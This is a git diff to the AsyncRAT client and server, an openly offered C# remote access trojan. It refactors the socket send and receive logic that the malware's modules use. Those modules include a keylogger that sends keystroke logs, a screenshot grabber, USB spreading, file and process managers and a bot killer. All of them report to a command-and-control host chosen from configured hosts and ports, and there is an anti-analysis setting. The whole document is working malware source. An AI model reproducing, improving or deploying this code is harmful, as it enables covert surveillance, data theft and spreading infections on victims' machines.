diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index da0482d..048efaa 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -127,19 +127,19 @@ namespace AsyncRAT_Sharp.Sockets catch { } } - public void BeginSend(object Msgs) + public void BeginSend(object msg) { lock (SendSync) { try { - if (!ClientSocket.Connected) + if (!ClientSocket.Connected || (byte[])msg == null) { Disconnected(); return; } - byte[] buffer = Settings.AES.Encrypt((byte[])Msgs); + byte[] buffer = Settings.AES.Encrypt((byte[])msg); byte[] buffersize = BitConverter.GetBytes(buffer.Length); ClientSocket.Poll(-1, SelectMode.SelectWrite); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs index 3bc2961..3383703 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs @@ -20,8 +20,6 @@ namespace AsyncRAT_Sharp.Sockets { SendBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024, - ReceiveTimeout = -1, - SendTimeout = -1, }; Server.Bind(ipEndPoint); Server.Listen(30); diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 34ba457..6037626 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -88,7 +88,6 @@ - diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs b/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs index 4a6fc9f..d878f0c 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs @@ -43,7 +43,7 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "BotKiller"; msgpack.ForcePathObject("Count").AsString = count.ToString(); - ClientSocket.BeginSend(msgpack.Encode2Bytes()); + ClientSocket.Send(msgpack.Encode2Bytes()); } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs index a254c89..471190a 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs @@ -29,7 +29,7 @@ namespace Client.Handle_Packet sbDriver.Append(d.Name + "-=>" + d.DriveType + "-=>"); } msgpack.ForcePathObject("Driver").AsString = sbDriver.ToString(); - ClientSocket.BeginSend(msgpack.Encode2Bytes()); + ClientSocket.Send(msgpack.Encode2Bytes()); } } catch { } @@ -59,7 +59,7 @@ namespace Client.Handle_Packet } msgpack.ForcePathObject("Folder").AsString = sbFolder.ToString(); msgpack.ForcePathObject("File").AsString = sbFile.ToString(); - ClientSocket.BeginSend(msgpack.Encode2Bytes()); + ClientSocket.Send(msgpack.Encode2Bytes()); } catch { } } @@ -95,8 +95,6 @@ namespace Client.Handle_Packet { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, - ReceiveTimeout = -1, - SendTimeout = -1, }; Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleGetScreenShot.cs b/AsyncRAT-C#/Client/Handle Packet/HandleGetScreenShot.cs index 87e9d49..312083a 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleGetScreenShot.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleGetScreenShot.cs @@ -25,7 +25,7 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "thumbnails"; msgpack.ForcePathObject("Image").SetAsBytes(memoryStream.ToArray()); - ClientSocket.BeginSend(msgpack.Encode2Bytes()); + ClientSocket.Send(msgpack.Encode2Bytes()); } bmp.Dispose(); } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs index dc2963e..46b1b2e 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs @@ -128,7 +128,7 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; msgpack.ForcePathObject("log").AsString = sb.ToString(); - Sockets.ClientSocket.BeginSend(msgpack.Encode2Bytes()); + Sockets.ClientSocket.Send(msgpack.Encode2Bytes()); } return CallNextHookEx(_hookID, nCode, wParam, lParam); } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs index 48a3649..9775d7a 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleLimeUSB.cs @@ -67,7 +67,7 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "usbSpread"; msgpack.ForcePathObject("Count").AsString = count.ToString(); - ClientSocket.BeginSend(msgpack.Encode2Bytes()); + ClientSocket.Send(msgpack.Encode2Bytes()); } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs index 687df03..fe95551 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleProcessManager.cs @@ -61,7 +61,7 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "processManager"; msgpack.ForcePathObject("Message").AsString = sb.ToString(); - ClientSocket.BeginSend(msgpack.Encode2Bytes()); + ClientSocket.Send(msgpack.Encode2Bytes()); } } diff --git a/AsyncRAT-C#/Client/Handle Packet/Packet.cs b/AsyncRAT-C#/Client/Handle Packet/Packet.cs index 9b169ac..cfab8c1 100644 --- a/AsyncRAT-C#/Client/Handle Packet/Packet.cs +++ b/AsyncRAT-C#/Client/Handle Packet/Packet.cs @@ -225,7 +225,7 @@ namespace Client.Handle_Packet { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "Received"; - ClientSocket.BeginSend(msgpack.Encode2Bytes()); + ClientSocket.Send(msgpack.Encode2Bytes()); } } diff --git a/AsyncRAT-C#/Client/Install/HiddenStartup.cs b/AsyncRAT-C#/Client/Install/HiddenStartup.cs deleted file mode 100644 index 46f455d..0000000 --- a/AsyncRAT-C#/Client/Install/HiddenStartup.cs +++ /dev/null @@ -1,11 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; - -namespace Client.Install -{ - class HiddenStartup - { - } -} diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index 24c558c..9065a41 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -16,9 +16,8 @@ namespace Client public static readonly string MTX = "%MTX%"; #if DEBUG public static readonly string Anti = "false"; - #else - public static readonly string Anti = "%Anti%"; + public static readonly string Anti = "%Anti%"; #endif } } \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs index e2cc9d1..0da6d13 100644 --- a/AsyncRAT-C#/Client/Sockets/ClientSocket.cs +++ b/AsyncRAT-C#/Client/Sockets/ClientSocket.cs @@ -22,12 +22,10 @@ namespace Client.Sockets public static Socket Client { get; set; } private static byte[] Buffer { get; set; } private static long Buffersize { get; set; } - private static bool BufferRecevied { get; set; } private static Timer Tick { get; set; } private static MemoryStream MS { get; set; } public static bool IsConnected { get; set; } private static object SendSync { get; } = new object(); - private static object EndSendSync { get; } = new object(); private static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total"); private static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use"); @@ -39,17 +37,14 @@ namespace Client.Sockets { ReceiveBufferSize = 50 * 1024, SendBufferSize = 50 * 1024, - ReceiveTimeout = -1, - SendTimeout = -1, }; Client.Connect(Convert.ToString(Settings.Host.Split(',')[new Random().Next(Settings.Host.Split(',').Length)]), Convert.ToInt32(Settings.Ports.Split(',')[new Random().Next(Settings.Ports.Split(',').Length)])); Debug.WriteLine("Connected!"); IsConnected = true; Buffer = new byte[4]; - BufferRecevied = false; MS = new MemoryStream(); - BeginSend(SendInfo()); + Send(SendInfo()); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } @@ -102,34 +97,34 @@ namespace Client.Sockets } int recevied = Client.EndReceive(ar); - if (recevied > 0) + if (recevied == 4) { - if (!BufferRecevied) + MS.Write(Buffer, 0, recevied); + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) { - MS.Write(Buffer, 0, recevied); - Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); - Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) { - Buffer = new byte[Buffersize]; - BufferRecevied = true; + int rc = Client.Receive(Buffer, 0, Buffer.Length, SocketFlags.None); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; } - } - else - { - MS.Write(Buffer, 0, recevied); if (MS.Length == Buffersize) { ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); Buffer = new byte[4]; MS.Dispose(); MS = new MemoryStream(); - BufferRecevied = false; } - else - Buffer = new byte[Buffersize - MS.Length]; } Client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null); } @@ -146,13 +141,13 @@ namespace Client.Sockets } } - public static void BeginSend(byte[] msg) + public static void Send(byte[] msg) { lock (SendSync) { try { - if (!Client.Connected || !IsConnected) + if (!Client.Connected || !IsConnected || msg == null) { IsConnected = false; return; @@ -162,32 +157,8 @@ namespace Client.Sockets byte[] buffersize = BitConverter.GetBytes(buffer.Length); Client.Poll(-1, SelectMode.SelectWrite); - Client.BeginSend(buffersize, 0, buffersize.Length, SocketFlags.None, EndSend, null); - Client.BeginSend(buffer, 0, buffer.Length, SocketFlags.None, EndSend, null); - } - catch - { - IsConnected = false; - return; - } - } - } - - public static void EndSend(IAsyncResult ar) - { - lock (EndSendSync) - { - try - { - if (!Client.Connected || !IsConnected) - { - IsConnected = false; - return; - } - - int sent = 0; - sent = Client.EndSend(ar); - Debug.WriteLine("/// Client Sent " + sent.ToString() + " Bytes ///"); + Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); + Client.Send(buffer, 0, buffer.Length, SocketFlags.None); } catch { @@ -199,30 +170,11 @@ namespace Client.Sockets public static void CheckServer(object obj) { - lock (SendSync) - { - lock (EndSendSync) - { - try - { - MsgPack msgpack = new MsgPack(); - msgpack.ForcePathObject("Packet").AsString = "Ping"; - msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; - - byte[] buffer = Settings.aes256.Encrypt(msgpack.Encode2Bytes()); - byte[] buffersize = BitConverter.GetBytes(buffer.Length); - - Client.Poll(-1, SelectMode.SelectWrite); - Client.Send(buffersize, 0, buffersize.Length, SocketFlags.None); - Client.Send(buffer, 0, buffer.Length, SocketFlags.None); - } - catch - { - IsConnected = false; - return; - } - } - } + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + msgpack.ForcePathObject("Message").AsString = $"CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%"; + Send(msgpack.Encode2Bytes()); } + } } \ No newline at end of file